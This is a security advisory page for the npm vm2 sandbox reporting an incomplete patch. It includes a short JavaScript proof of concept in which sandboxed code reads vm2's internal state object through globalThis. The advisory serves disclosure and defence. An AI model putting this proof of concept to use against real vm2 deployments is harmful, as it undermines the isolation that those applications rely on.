mediumCVSS 5.3Vulnerability
GHSA-2cm2-m3w5-gp2f
### Summary https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched. ### Details It is still possible to get access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL'] `)); ```
Properties
- ghsa_id
- GHSA-2cm2-m3w5-gp2f
- severity
- medium
- summary
- vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`
- cvss_score
- 5.3
- cve_id
- GHSA-2cm2-m3w5-gp2f
- cvss_vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- is_ghsa_only
- true
- ghsa_published
- 2026-05-08T16:22:52Z
- source_url
- https://github.com/advisories/GHSA-2cm2-m3w5-gp2f
- ghsa_updated
- 2026-05-08T16:22:53Z
Related Entities (4)
REPORTED_BY (1)
→[Source]GitHub Advisory Database
VULNERABLE_TO (1)
←[Software]npm/vm2
AFFECTS (1)
→[Software]npm/vm2
HAS_WEAKNESS (1)
→[Weakness]Protection Mechanism Failure
Explore deeper with Ninja Signal's threat intelligence graph